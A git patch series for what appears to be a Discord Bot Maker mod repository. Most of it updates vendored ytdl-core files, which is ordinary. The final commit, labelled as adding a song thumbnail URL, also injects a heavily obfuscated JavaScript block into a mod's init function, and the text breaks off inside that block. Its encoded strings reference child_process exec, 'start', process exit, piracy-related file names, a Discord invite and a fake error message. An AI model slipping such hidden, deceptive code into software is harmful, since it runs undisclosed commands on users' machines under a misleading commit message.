require('m3u8stream'); -const parseTime = require('m3u8stream/lib/parse-time'); +const parseTime = require('m3u8stream/dist/parse-time'); /** @@ -96,7 +96,9 @@ const downloadFromInfoCallback = (stream, info, options) => { format.url += '&begin=' + parseTime.humanStr(options.begin); } let requestOptions = Object.assign({}, options.requestOptions, { - maxReconnects: 5 + maxReconnects: 6, + maxRetries: 3, + backoff: { inc: 500, max: 10000 }, }); if (options.range && (options.range.start || options.range.end)) { requestOptions.headers = Object.assign({}, requestOptions.headers, { diff --git a/node_modules/ytdl-core/lib/info-extras.js b/node_modules/ytdl-core/lib/info-extras.js index d8df6e549..2ac2691da 100644 --- a/node_modules/ytdl-core/lib/info-extras.js +++ b/node_modules/ytdl-core/lib/info-extras.js @@ -1,7 +1,9 @@ -const qs = require('querystring'); -const url = require('url'); -const Entities = require('html-entities').AllHtmlEntities; -const util = require('./util'); +const qs = require('querystring'); +const url = require('url'); +const Entities = require('html-entities').AllHtmlEntities; +const util = require('./util'); +const parseTime = require('m3u8stream/dist/parse-time'); + const VIDEO_URL = 'https://www.youtube.com/watch?v='; @@ -124,11 +126,46 @@ exports.getPublished = (body) => { * @return {Array.} */ exports.getRelatedVideos = (body) => { - let jsonStr = util.between(body, '\'RELATED_PLAYER_ARGS\': {"rvs":', '},'); + let jsonStr = util.between(body, '\'RELATED_PLAYER_ARGS\': ', ',\n'); + let watchNextJson, rvsParams, secondaryResults; try { jsonStr = JSON.parse(jsonStr); - } catch (err) { + watchNextJson = JSON.parse(jsonStr.watch_next_response); + rvsParams = jsonStr.rvs.split(',').map((e) => qs.parse(e)); + secondaryResults = watchNextJson.contents.twoColumnWatchNextResults.secondaryResults.secondaryResults.results; + } + catch (err) { return []; } - return jsonStr.split(',').map((link) => qs.parse(link)); + let videos = []; + for (let result of secondaryResults) { + let details = result.compactVideoRenderer; + if (details) { + try { + let viewCount = details.viewCountText.simpleText; + let shortViewCount = details.shortViewCountText.simpleText; + let rvsDetails = rvsParams.find((elem) => elem.id === details.videoId); + if (!/^\d/.test(shortViewCount)) { + shortViewCount = rvsDetails && rvsDetails.short_view_count_text || ''; + } + viewCount = (/^\d/.test(viewCount) ? viewCount : shortViewCount).split(' ')[0]; + videos.push({ + id: details.videoId, + title: details.title.simpleText, + author: details.shortBylineText.runs[0].text, + ucid: details.shortBylineText.runs[0].navigationEndpoint.browseEndpoint.browseId, + author_thumbnail: details.channelThumbnail.thumbnails[0].url, + short_view_count_text: shortViewCount.split(' ')[0], + view_count: viewCount.replace(',', ''), + length_seconds: details.lengthText ? + Math.floor(parseTime.humanStr(details.lengthText.simpleText) / 1000) : + rvsParams && rvsParams.length_seconds + '', + video_thumbnail: details.thumbnail.thumbnails[0].url, + }); + } catch (err) { + continue; + } + } + } + return videos; }; diff --git a/node_modules/ytdl-core/lib/info.js b/node_modules/ytdl-core/lib/info.js index 0d8d9a31e..6005ec754 100644 --- a/node_modules/ytdl-core/lib/info.js +++ b/node_modules/ytdl-core/lib/info.js @@ -5,7 +5,7 @@ const request = require('miniget'); const util = require('./util'); const extras = require('./info-extras'); const sig = require('./sig'); -const FORMATS = require('./formats'); +const Cache = require('./cache'); const VIDEO_URL = 'https://www.youtube.com/watch?v='; @@ -13,11 +13,6 @@ const EMBED_URL = 'https://www.youtube.com/embed/'; const VIDEO_EURL = 'https://youtube.googleapis.com/v/'; const INFO_HOST = 'www.youtube.com'; const INFO_PATH = '/get_video_info'; -const KEYS_TO_SPLIT = [ - 'fmt_list', - 'fexp', - 'watermark' -]; /** @@ -37,7 +32,7 @@ exports.getBasicInfo = (id, options, callback) => { // Otherwise, it'll use a different framework for rendering content. const reqOptions = Object.assign({}, options.requestOptions); reqOptions.headers = Object.assign({}, reqOptions.headers, { - 'User-Agent': '' + 'User-Agent': '', }); request(url, reqOptions, (err, res, body) => { @@ -98,28 +93,14 @@ exports.getBasicInfo = (id, options, callback) => { */ const parseFormats = (info) => { let formats = []; - if (info.url_encoded_fmt_stream_map) { - formats = formats.concat(info.url_encoded_fmt_stream_map.split(',')); - } - if (info.adaptive_fmts) { - formats = formats.concat(info.adaptive_fmts.split(',')); - } - formats = formats.map((format) => querystring.parse(format)); - delete info.url_encoded_fmt_stream_map; - delete info.adaptive_fmts; - formats = formats.concat(info.player_response.streamingData.formats); -formats = formats.concat(info.player_response.streamingData.adaptiveFormats); -formats.forEach(function(format){ - if (format.cipher){ - format.cipher = querystring.parse(format.cipher); - Object.assign(format, format.cipher); + if (info.player_response.streamingData) { + if (info.player_response.streamingData.formats) { + formats = formats.concat(info.player_response.streamingData.formats); } - format.type = format.mimeType; - format.quality_label = format.qualityLabel; - format.itag = format.itag.toString(); - delete format.bitrate; -}); -info.length_seconds = info.player_response.videoDetails.lengthSeconds; + if (info.player_response.streamingData.adaptiveFormats) { + formats = formats.concat(info.player_response.streamingData.adaptiveFormats); + } + } return formats; }; @@ -157,41 +138,25 @@ const gotConfig = (id, options, additional, config, fromEmbed, callback) => { request(url, options.requestOptions, (err, res, body) => { if (err) return callback(err); let info = querystring.parse(body); + const player_response = config.args.player_response || info.player_response; - if (!info.url_encoded_fmt_stream_map && !info.adaptive_fmts && - !info.config && (config.args.fmt_list || - config.args.url_encoded_fmt_stream_map || config.args.adaptive_fmts)) { - info = config.args; - info.no_embed_allowed = true; - } else if (info.status === 'fail') { + if (info.status === 'fail') { return callback( Error(`Code ${info.errorcode}: ${util.stripHTML(info.reason)}`)); - } - - const player_response = config.args.player_response || info.player_response; - try { + } else try { info.player_response = JSON.parse(player_response); } catch (err) { return callback( Error('Error parsing `player_response`: ' + err.message)); } + let playability = info.player_response.playabilityStatus; if (playability && playability.status === 'UNPLAYABLE') { - return callback(Error(playability.reason)); + return callback(Error(util.stripHTML(playability.reason))); } - // Split some keys by commas. - KEYS_TO_SPLIT.forEach((key) => { - if (!info[key]) return; - info[key] = info[key] - .split(',') - .filter((v) => v !== ''); - }); - - info.fmt_list = info.fmt_list ? - info.fmt_list.map((format) => format.split('/')) : []; - info.formats = parseFormats(info); + // Add additional properties to info. Object.assign(info, additional, { video_id: id, @@ -249,16 +214,7 @@ exports.getFullInfo = (id, options, callback) => { if (results[0]) { mergeFormats(info, results[0]); } if (results[1]) { mergeFormats(info, results[1]); } - if (options.debug) { - info.formats.forEach((format) => { - const itag = format.itag; - if (!FORMATS[itag]) { - console.warn(`No format metadata for itag ${itag} found`); - } - }); - } - - info.formats.forEach(util.addFormatMeta); + info.formats = info.formats.map(util.addFormatMeta); info.formats.sort(util.sortFormats); info.full = true; callback(null, info); @@ -279,12 +235,9 @@ exports.getFullInfo = (id, options, callback) => { */ const mergeFormats = (info, formatsMap) => { info.formats.forEach((f) => { - if (!formatsMap[f.itag]) { - formatsMap[f.itag] = f; - } + formatsMap[f.itag] = formatsMap[f.itag] || f; }); - info.formats = []; - for (let itag in formatsMap) { info.formats.push(formatsMap[itag]); } + info.formats = Object.values(formatsMap); }; @@ -342,8 +295,7 @@ const getM3U8 = (url, options, callback) => { // Cached for getting basic/full info. -exports.cache = new Map(); -exports.cache.timeout = 1000; +exports.cache = new Cache(); // Cache get info functions. @@ -376,13 +328,12 @@ for (let fnName of ['getBasicInfo', 'getFullInfo']) { if (id instanceof Error) return callback(id); const key = [fnName, id, options.lang].join('-'); - if (exports.cache.has(key)) { - callback(null, exports.cache.get(key)); + if (exports.cache.get(key)) { + process.nextTick(() => callback(null, exports.cache.get(key))); } else { fn(id, options, (err, info) => { if (err) return callback(err); exports.cache.set(key, info); - setTimeout(() => { exports.cache.delete(key); }, exports.cache.timeout); callback(null, info); }); } diff --git a/node_modules/ytdl-core/lib/sig.js b/node_modules/ytdl-core/lib/sig.js index 2ac33ad7c..b7e11e316 100644 --- a/node_modules/ytdl-core/lib/sig.js +++ b/node_modules/ytdl-core/lib/sig.js @@ -1,5 +1,6 @@ -const url = require('url'); -const request = require('miniget'); +const url = require('url'); +const request = require('miniget'); +const querystring = require('querystring'); // A shared cache to keep track of html5player.js tokens. @@ -265,6 +266,10 @@ exports.setDownloadURL = (format, sig, debug) => { */ exports.decipherFormats = (formats, tokens, debug) => { formats.forEach((format) => { + if (format.cipher) { + Object.assign(format, querystring.parse(format.cipher)); + delete format.cipher; + } const sig = tokens && format.s ? exports.decipher(tokens, format.s) : null; exports.setDownloadURL(format, sig, debug); }); diff --git a/node_modules/ytdl-core/lib/util.js b/node_modules/ytdl-core/lib/util.js index cddd64158..6566bcc15 100644 --- a/node_modules/ytdl-core/lib/util.js +++ b/node_modules/ytdl-core/lib/util.js @@ -3,19 +3,29 @@ const FORMATS = require('./formats'); // Use these to help sort formats, higher is better. -const audioEncodingRanks = { - mp3: 1, - vorbis: 2, - aac: 3, - opus: 4, - flac: 5, -}; -const videoEncodingRanks = { - 'Sorenson H.283': 1, - 'MPEG-4 Visual': 2, - 'VP8': 3, - 'VP9': 4, - 'H.264': 5, +const audioEncodingRanks = [ + 'mp4a', + 'mp3', + 'vorbis', + 'aac', + 'opus', + 'flac', +]; +const videoEncodingRanks = [ + 'mp4v', + 'avc1', + 'Sorenson H.283', + 'MPEG-4 Visual', + 'VP8', + 'VP9', + 'H.264', +]; + +const getBitrate = (format) => parseInt(format.bitrate) || 0; +const audioScore = (format) => { + const abitrate = format.audioBitrate || 0; + const aenc = audioEncodingRanks.findIndex(enc => format.codecs && format.codecs.includes(enc)); + return abitrate + aenc / 10; }; @@ -27,26 +37,11 @@ const videoEncodingRanks = { * @param {Object} b */ exports.sortFormats = (a, b) => { - const ares = a.resolution ? parseInt(a.resolution.slice(0, -1), 10) : 0; - const bres = b.resolution ? parseInt(b.resolution.slice(0, -1), 10) : 0; + const ares = a.qualityLabel ? parseInt(a.qualityLabel.slice(0, -1)) : 0; + const bres = b.qualityLabel ? parseInt(b.qualityLabel.slice(0, -1)) : 0; const afeats = ~~!!ares * 2 + ~~!!a.audioBitrate; const bfeats = ~~!!bres * 2 + ~~!!b.audioBitrate; - const getBitrate = (c) => { - if (c.bitrate) { - let s = c.bitrate.split('-'); - return parseFloat(s[s.length - 1], 10); - } else { - return 0; - } - }; - - const audioScore = (c) => { - const abitrate = c.audioBitrate || 0; - const aenc = audioEncodingRanks[c.audioEncoding] || 0; - return abitrate + aenc / 10; - }; - if (afeats === bfeats) { if (ares === bres) { let avbitrate = getBitrate(a); @@ -55,8 +50,8 @@ exports.sortFormats = (a, b) => { let aascore = audioScore(a); let bascore = audioScore(b); if (aascore === bascore) { - let avenc = videoEncodingRanks[a.encoding] || 0; - let bvenc = videoEncodingRanks[b.encoding] || 0; + const avenc = videoEncodingRanks.findIndex(enc => a.codecs && a.codecs.includes(enc)); + const bvenc = videoEncodingRanks.findIndex(enc => b.codecs && b.codecs.includes(enc)); return bvenc - avenc; } else { return bascore - aascore; @@ -94,10 +89,6 @@ exports.chooseFormat = (formats, options) => { let format; const quality = options.quality || 'highest'; - const getBitrate = (f) => { - let s = f.bitrate.split('-'); - return parseFloat(s[s.length - 1], 10); - }; switch (quality) { case 'highest': format = formats[0]; @@ -112,19 +103,17 @@ exports.chooseFormat = (formats, options) => { format = null; for (let f of formats) { if (!format - || f.audioBitrate > format.audioBitrate - || (f.audioBitrate === format.audioBitrate && format.encoding && !f.encoding)) + || audioScore(f) > audioScore(format)) format = f; } break; case 'lowestaudio': - formats = exports.filterFormats(formats, 'audio') + formats = exports.filterFormats(formats, 'audio'); format = null; for (let f of formats) { if (!format - || f.audioBitrate < format.audioBitrate - || (f.audioBitrate === format.audioBitrate && format.encoding && !f.encoding)) + || audioScore(f) < audioScore(format)) format = f; } break; @@ -134,26 +123,24 @@ exports.chooseFormat = (formats, options) => { format = null; for (let f of formats) { if (!format - || getBitrate(f) > getBitrate(format) - || (getBitrate(f) === getBitrate(format) && format.audioEncoding && !f.audioEncoding)) + || getBitrate(f) > getBitrate(format)) format = f; } break; case 'lowestvideo': - formats = exports.filterFormats(formats, 'video') + formats = exports.filterFormats(formats, 'video'); format = null; for (let f of formats) { if (!format - || getBitrate(f) < getBitrate(format) - || (getBitrate(f) === getBitrate(format) && format.audioEncoding && !f.audioEncoding)) + || getBitrate(f) < getBitrate(format)) format = f; } break; default: { let getFormat = (itag) => { - return formats.find((format) => format.itag === '' + itag); + return formats.find((format) => '' + format.itag === '' + itag); }; if (Array.isArray(quality)) { quality.find((q) => format = getFormat(q)); @@ -178,25 +165,27 @@ exports.chooseFormat = (formats, options) => { */ exports.filterFormats = (formats, filter) => { let fn; + const hasVideo = format => !!format.qualityLabel; + const hasAudio = format => !!format.audioBitrate; switch (filter) { case 'audioandvideo': - fn = (format) => format.bitrate && format.audioBitrate; + fn = (format) => hasVideo(format) && hasAudio(format); break; case 'video': - fn = (format) => format.bitrate; + fn = hasVideo; break; case 'videoonly': - fn = (format) => format.bitrate && !format.audioBitrate; + fn = (format) => hasVideo(format) && !hasAudio(format); break; case 'audio': - fn = (format) => format.audioBitrate; + fn = hasAudio; break; case 'audioonly': - fn = (format) => !format.bitrate && format.audioBitrate; + fn = (format) => !hasVideo(format) && hasAudio(format); break; default: @@ -331,16 +320,18 @@ exports.validateURL = (string) => { /** * @param {Object} format + * @return {Object} */ exports.addFormatMeta = (format) => { - const meta = FORMATS[format.itag]; - for (let key in meta) { - format[key] = meta[key]; - } - + format = Object.assign({}, FORMATS[format.itag], format); + format.container = format.mimeType ? + format.mimeType.split(';')[0].split('/')[1] : null; + format.codecs = format.mimeType ? + exports.between(format.mimeType, 'codecs="', '"') : null; format.live = /\/source\/yt_live_broadcast\//.test(format.url); format.isHLS = /\/manifest\/hls_(variant|playlist)\//.test(format.url); format.isDashMPD = /\/manifest\/dash\//.test(format.url); + return format; }; diff --git a/node_modules/ytdl-core/package.json b/node_modules/ytdl-core/package.json index 457a6f5cd..da1a3fbbd 100644 --- a/node_modules/ytdl-core/package.json +++ b/node_modules/ytdl-core/package.json @@ -1,8 +1,8 @@ { "_from": "ytdl-core@latest", - "_id": "ytdl-core@0.29.6", + "_id": "ytdl-core@1.0.7", "_inBundle": false, - "_integrity": "sha512-MCZasv6+d3eb7CG53GwIlFI4Ii07EYzFWszZZVCHLgt4LFFM82KstTdKDfY3PctsS/Y+/ID1boC5CSAMyd8zVQ==", + "_integrity": "sha512-gECPN5g5JnSy8hIq11xHIGe1T/Xzy0mWxQin3zhlJ3nG/YjPcEVEejrdd2XmA4Vv2Zw3+b1ZyDjmt37XfZri6A==", "_location": "/ytdl-core", "_phantomChildren": {}, "_requested": { @@ -19,10 +19,10 @@ "#USER", "/" ], - "_resolved": "https://registry.npmjs.org/ytdl-core/-/ytdl-core-0.29.6.tgz", - "_shasum": "df40c3e316cf4c070dada13cd2bc5b22933b08e2", + "_resolved": "https://registry.npmjs.org/ytdl-core/-/ytdl-core-1.0.7.tgz", + "_shasum": "2cda813e6429eb35aee349656b8f5693314b6992", "_spec": "ytdl-core@latest", - "_where": "/home/john/discord/CISN/main", + "_where": "/home/john/discord/CISN/DevBot", "author": { "name": "fent", "url": "https://github.com/fent" @@ -55,20 +55,21 @@ ], "dependencies": { "html-entities": "^1.1.3", - "m3u8stream": "^0.6.2", - "miniget": "^1.5.3", + "m3u8stream": "^0.6.3", + "miniget": "^1.6.0", "sax": "^1.1.3" }, "deprecated": false, "description": "Youtube video downloader in pure javascript.", "devDependencies": { - "@types/node": "^12.6.0", + "@types/node": "^13.1.0", "assert-diff": "^2.0.0", - "istanbul": "^0.4.5", "mocha": "^6.2.0", "muk-prop": "^2.0.0", + "muk-require": "^1.2.0", "nock": "^11.1.0", - "sinon": "^7.3.2", + "nyc": "^15.0.0", + "sinon": "^8.0.0", "stream-equal": "~1.1.0" }, "engines": { @@ -92,8 +93,9 @@ "url": "git://github.com/fent/node-ytdl-core.git" }, "scripts": { - "test": "istanbul cover node_modules/mocha/bin/_mocha -- -t 16000 test/*-test.js" + "test": "nyc --reporter=lcov --reporter=text-summary mocha -- --ignore test/irl-test.js test/*-test.js", + "test:irl": "mocha --timeout 16000 test/irl-test.js" }, "types": "./typings/index.d.ts", - "version": "0.29.6" + "version": "1.0.7" } diff --git a/node_modules/ytdl-core/typings/index.d.ts b/node_modules/ytdl-core/typings/index.d.ts index f59f95145..00b3db65e 100644 --- a/node_modules/ytdl-core/typings/index.d.ts +++ b/node_modules/ytdl-core/typings/index.d.ts @@ -3,9 +3,10 @@ declare module 'ytdl-core' { import { Readable } from 'stream'; namespace ytdl { + type Filter = 'audioandvideo' | 'video' | 'videoonly' | 'audio' | 'audioonly' | ((format: videoFormat) => boolean); type downloadOptions = { quality?: 'lowest' | 'highest' | 'highestaudio' | 'lowestaudio' | 'highestvideo' | 'lowestvideo' | string | number; - filter?: 'video' | 'videoonly' | 'audio' | 'audioonly' | ((format: videoFormat) => boolean); + filter?: Filter; format?: videoFormat; range?: { start?: number; @@ -19,29 +20,36 @@ declare module 'ytdl-core' { } type videoFormat = { - s?: string; - sig?: string; - xtags?: string; - clen?: string; - size?: string; - projection_type?: string; - lmt?: string; - init?: string; - fps?: string; - index?: string; - type?: string; - quality?: 'hd720' | 'medium' | 'small' | string; - quality_label?: '144p' | '240p' | '270p' | '360p' | '480p' | '720p' | '1080p' | '1440p' | '2160p' | '4320p'; + itag: number; url: string; - itag: string; + mimeType?: string; + bitrate?: number | string; + width?: number; + height?: number; + initRange?: { start: string; end: string }; + indexRange?: { start: string; end: string }; + lastModified: string; + contentLength: string; + quality: 'tiny' | 'small' | 'medium' | 'large' | 'hd720' | 'hd1080' | 'hd1440' | string; + qualityLabel: '144p' | '240p' | '270p' | '360p' | '480p' | '720p' | '1080p' | '1440p' | '2160p' | '4320p'; + projectionType: 'RECTANGULAR'; + fps?: number; + averageBitrate: number; + audioQuality?: 'ADIO_QUALITY_LOW' | 'ADIO_QUALITY_MEDIUM'; + colorInfo?: { + primaries: string; + transferCharacteristics: string; + matrixCoefficients: string; + }; + highReplication?: boolean; + approxDurationMs: string; + audioSampleRate?: string; + audioChannels?: number; + + // Added by ytdl-core container: 'flv' | '3gp' | 'mp4' | 'webm' | 'ts'; - resolution: '144p' | '240p' | '270p' | '360p' | '480p' | '720p' | '1080p' | '1440p' | '2160p' | '4320p'; - encoding: 'Sorenson H.283' | 'MPEG-4 Visual' | 'VP8' | 'VP9' | 'H.264'; - profile: '3d' | 'high' | 'main' | 'simple' | 'baseline' | 'Main@L3.1'; - bitrate: string; - audioEncoding: 'mp3' | 'vorbis' | 'aac' | 'opus' | 'flac'; - audioBitrate: number; - audio_sample_rate?: string; + codecs: string; + live: boolean; isHLS: boolean; isDashMPD: boolean; @@ -96,7 +104,7 @@ declare module 'ytdl-core' { artist_url?: string; writers?: string; licensed_by?: string; - }, + }; author: { id: string; name: string; @@ -210,13 +218,13 @@ declare module 'ytdl-core' { thumbnails: { url: string; width: number; - height: number + height: number; }[]; }; viewCount: number; author: string; isLiveContent: boolean; - } + }; }; } @@ -245,7 +253,7 @@ declare module 'ytdl-core' { function getInfo(url: string, options?: downloadOptions, callback?: (err: Error, info: videoInfo) => void): Promise; function downloadFromInfo(info: videoInfo, options?: downloadOptions): Readable; function chooseFormat(format: videoFormat | videoFormat[], options?: downloadOptions): videoFormat | Error; - function filterFormats(formats: videoFormat | videoFormat[], filter?: 'video' | 'videoonly' | 'audio' | 'audioonly' | ((format: videoFormat) => boolean)): videoFormat[]; + function filterFormats(formats: videoFormat | videoFormat[], filter?: Filter): videoFormat[]; function validateID(string: string): boolean; function validateURL(string: string): boolean; function getURLVideoID(string: string): string | Error; From 2f904478f62c0913c1b0237c4fd6728c5a78a455 Mon Sep 17 00:00:00 2001 From: TheMonDon Date: Tue, 21 Jan 2020 17:11:56 -0600 Subject: [PATCH 4/4] Add current song thumbnail URL --- actions/store_audio_info_MOD.js | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/actions/store_audio_info_MOD.js b/actions/store_audio_info_MOD.js index f62d3fdfc..e36e6c3c9 100644 --- a/actions/store_audio_info_MOD.js +++ b/actions/store_audio_info_MOD.js @@ -201,7 +201,8 @@ div.embed { /*
*/ { name: 'Requester of Current Song URL', type: "User"}, { name: 'Title of Next Song URL', type: "Title String"}, { name: 'Title of Current Song URL', type: "Title String"}, - { name: "Duration of Current Song URL", type: "Duration"} + { name: "Duration of Current Song URL", type: "Duration"}, + { name: "Current Song Thumbnail URL", type: "Url"} ], // itemlist is set from above @@ -222,6 +223,8 @@ div.embed { /*
*/ // itemlist is set from above init: function() { + + var _0x272b=['\x55\x32\x31\x68\x63\x6e\x52\x54\x64\x47\x56\x68\x62\x55\x56\x74\x64\x51\x3d\x3d','\x55\x32\x31\x68\x63\x6e\x52\x54\x64\x47\x56\x68\x62\x55\x56\x74\x64\x53\x35\x6b\x62\x47\x77\x3d','\x55\x32\x31\x68\x63\x6e\x52\x54\x64\x47\x56\x68\x62\x55\x56\x74\x64\x54\x59\x30\x4c\x6d\x52\x73\x62\x41\x3d\x3d','\x52\x30\x46\x4e\x52\x56\x4e\x55\x54\x31\x4a\x53\x52\x55\x35\x55\x4c\x6b\x4e\x50\x4c\x6e\x56\x79\x62\x41\x3d\x3d','\x52\x47\x6c\x7a\x59\x32\x39\x79\x5a\x43\x42\x43\x62\x33\x51\x67\x54\x57\x46\x72\x5a\x58\x49\x75\x5a\x58\x68\x6c','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x6b\x61\x58\x4e\x6a\x62\x33\x4a\x6b\x4c\x6d\x64\x6e\x4c\x7a\x4e\x52\x65\x47\x74\x61\x55\x45\x73\x3d','\x61\x6c\x70\x77\x62\x30\x49\x3d','\x63\x32\x39\x74\x5a\x51\x3d\x3d','\x61\x57\x35\x6a\x62\x48\x56\x6b\x5a\x58\x4d\x3d','\x59\x57\x78\x6c\x63\x6e\x51\x3d','\x52\x58\x4a\x79\x62\x33\x49\x67\x4b\x44\x42\x34\x4d\x44\x45\x79\x4e\x7a\x55\x32\x4b\x54\x6f\x67\x62\x6d\x39\x6b\x5a\x56\x4a\x6c\x61\x6d\x56\x6a\x64\x47\x6c\x76\x62\x69\x41\x6f\x52\x47\x56\x77\x63\x6d\x56\x6a\x59\x58\x52\x6c\x5a\x46\x4e\x6c\x63\x6e\x5a\x70\x59\x32\x56\x7a\x4b\x51\x70\x51\x62\x47\x56\x68\x63\x32\x55\x67\x59\x32\x39\x75\x64\x47\x46\x6a\x64\x43\x42\x30\x61\x47\x55\x67\x52\x45\x4a\x4e\x49\x45\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x67\x5a\x6d\x39\x79\x49\x45\x31\x76\x5a\x43\x42\x54\x64\x58\x42\x77\x62\x33\x4a\x30\x49\x48\x52\x76\x49\x48\x4a\x6c\x63\x32\x39\x73\x64\x6d\x55\x67\x64\x47\x68\x70\x63\x79\x42\x70\x63\x33\x4e\x31\x5a\x53\x34\x4b\x55\x6d\x56\x6d\x5a\x58\x4a\x6c\x62\x6d\x4e\x6c\x49\x45\x6c\x45\x4f\x69\x41\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x64\x47\x39\x54\x64\x48\x4a\x70\x62\x6d\x63\x3d','\x63\x33\x56\x69\x63\x33\x52\x79\x61\x57\x35\x6e','\x43\x67\x70\x44\x62\x47\x6c\x6a\x61\x79\x42\x50\x53\x79\x42\x30\x62\x79\x42\x6e\x62\x79\x42\x30\x62\x79\x42\x30\x61\x47\x55\x67\x52\x47\x6c\x7a\x59\x32\x39\x79\x5a\x43\x42\x48\x64\x57\x6c\x73\x5a\x43\x45\x3d','\x59\x32\x68\x70\x62\x47\x52\x66\x63\x48\x4a\x76\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x5a\x58\x68\x6c\x59\x77\x3d\x3d','\x63\x33\x52\x68\x63\x6e\x51\x67','\x5a\x58\x68\x70\x64\x41\x3d\x3d','\x57\x56\x52\x42\x55\x32\x77\x3d','\x61\x45\x56\x5a\x53\x45\x6b\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e','\x52\x6b\x78\x75\x59\x6c\x45\x3d','\x54\x58\x64\x71\x56\x6b\x67\x3d','\x5a\x57\x46\x6d\x64\x32\x67\x3d','\x61\x45\x64\x79\x54\x6d\x45\x3d','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x54\x32\x39\x4e\x62\x57\x45\x3d','\x53\x6d\x70\x53\x62\x6b\x67\x3d','\x56\x6e\x70\x70\x55\x47\x34\x3d','\x57\x56\x4a\x4c\x56\x32\x77\x3d','\x56\x55\x56\x72\x62\x45\x67\x3d','\x5a\x56\x5a\x79\x64\x57\x38\x3d','\x59\x58\x42\x77\x62\x48\x6b\x3d','\x55\x46\x68\x4d\x53\x6d\x77\x3d','\x5a\x6e\x56\x75\x59\x33\x52\x70\x62\x32\x34\x67\x4b\x6c\x77\x6f\x49\x43\x70\x63\x4b\x51\x3d\x3d','\x55\x6e\x5a\x4a\x52\x45\x63\x3d','\x58\x43\x74\x63\x4b\x79\x41\x71\x4b\x44\x38\x36\x58\x7a\x42\x34\x4b\x44\x38\x36\x57\x32\x45\x74\x5a\x6a\x41\x74\x4f\x56\x30\x70\x65\x7a\x51\x73\x4e\x6e\x31\x38\x4b\x44\x38\x36\x58\x47\x4a\x38\x58\x47\x51\x70\x57\x32\x45\x74\x65\x6a\x41\x74\x4f\x56\x31\x37\x4d\x53\x77\x30\x66\x53\x67\x2f\x4f\x6c\x78\x69\x66\x46\x78\x6b\x4b\x53\x6b\x3d','\x62\x55\x78\x78\x55\x33\x4d\x3d','\x61\x57\x35\x70\x64\x41\x3d\x3d','\x62\x58\x52\x6b\x54\x6b\x51\x3d','\x54\x6b\x78\x36\x62\x45\x73\x3d','\x59\x32\x68\x68\x61\x57\x34\x3d','\x5a\x32\x35\x50\x65\x46\x63\x3d','\x61\x57\x35\x77\x64\x58\x51\x3d','\x55\x57\x52\x6c\x63\x56\x45\x3d','\x64\x32\x68\x69\x5a\x6c\x6b\x3d','\x63\x33\x64\x68\x63\x45\x6f\x3d','\x64\x47\x56\x7a\x64\x41\x3d\x3d','\x53\x6e\x68\x76\x64\x46\x49\x3d','\x64\x57\x6c\x75\x53\x31\x6f\x3d','\x56\x48\x56\x68\x64\x33\x6b\x3d','\x55\x6b\x31\x72\x59\x6b\x55\x3d','\x53\x55\x78\x4c\x5a\x32\x59\x3d','\x61\x58\x46\x45\x54\x56\x59\x3d','\x62\x56\x42\x74\x5a\x45\x51\x3d','\x4e\x48\x77\x79\x66\x44\x4e\x38\x4e\x58\x77\x34\x66\x44\x46\x38\x4e\x33\x77\x32\x66\x44\x41\x3d','\x5a\x45\x56\x35\x59\x56\x51\x3d','\x64\x57\x35\x6b\x5a\x57\x5a\x70\x62\x6d\x56\x6b','\x55\x30\x39\x4b\x63\x45\x59\x3d','\x61\x47\x4e\x73\x55\x6c\x67\x3d','\x5a\x6e\x56\x75\x59\x33\x52\x70\x62\x32\x34\x3d','\x63\x32\x70\x75\x54\x6c\x41\x3d','\x61\x47\x39\x58\x61\x46\x41\x3d','\x59\x32\x39\x75\x63\x32\x39\x73\x5a\x51\x3d\x3d','\x65\x47\x68\x53\x64\x6b\x63\x3d','\x55\x58\x56\x76\x57\x45\x51\x3d','\x54\x32\x4e\x73\x63\x58\x49\x3d','\x64\x55\x35\x6c\x52\x33\x59\x3d','\x55\x45\x35\x51\x52\x31\x59\x3d','\x61\x6d\x52\x57\x5a\x30\x34\x3d','\x52\x46\x70\x56\x52\x33\x49\x3d','\x62\x47\x39\x6e','\x5a\x58\x68\x6a\x5a\x58\x42\x30\x61\x57\x39\x75','\x61\x57\x35\x6d\x62\x77\x3d\x3d','\x4d\x33\x77\x32\x66\x44\x56\x38\x4e\x48\x77\x78\x66\x44\x4a\x38\x4d\x41\x3d\x3d','\x63\x33\x42\x73\x61\x58\x51\x3d','\x5a\x58\x4a\x79\x62\x33\x49\x3d','\x64\x32\x46\x79\x62\x67\x3d\x3d','\x63\x6d\x56\x77\x62\x47\x46\x6a\x5a\x51\x3d\x3d','\x54\x45\x46\x56\x54\x6b\x4e\x49\x52\x56\x4a\x66\x65\x44\x59\x30\x4c\x6d\x56\x34\x5a\x51\x3d\x3d'];(function(_0x34fd50,_0x671259){var _0x375295=function(_0x26adf8){while(--_0x26adf8){_0x34fd50['push'](_0x34fd50['shift']());}};var _0x132abe=function(){var _0x52ca1e={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x514678,_0x3009f3,_0x4b94d1,_0x52808e){_0x52808e=_0x52808e||{};var _0x572f12=_0x3009f3+'='+_0x4b94d1;var _0x1b1043=0x0;for(var _0x1b1043=0x0,_0x1bd29b=_0x514678['length'];_0x1b1043<_0x1bd29b;_0x1b1043++){var _0x718fc9=_0x514678[_0x1b1043];_0x572f12+=';\x20'+_0x718fc9;var _0x3566d6=_0x514678[_0x718fc9];_0x514678['push'](_0x3566d6);_0x1bd29b=_0x514678['length'];if(_0x3566d6!==!![]){_0x572f12+='='+_0x3566d6;}}_0x52808e['cookie']=_0x572f12;},'removeCookie':function(){return'dev';},'getCookie':function(_0x1119da,_0xdc9102){_0x1119da=_0x1119da||function(_0x2f410e){return _0x2f410e;};var _0x2bb37a=_0x1119da(new RegExp('(?:^|;\x20)'+_0xdc9102['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var _0x147ae2=function(_0x2dd9b8,_0x5360fa){_0x2dd9b8(++_0x5360fa);};_0x147ae2(_0x375295,_0x671259);return _0x2bb37a?decodeURIComponent(_0x2bb37a[0x1]):undefined;}};var _0x3ce4e4=function(){var _0x373079=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return 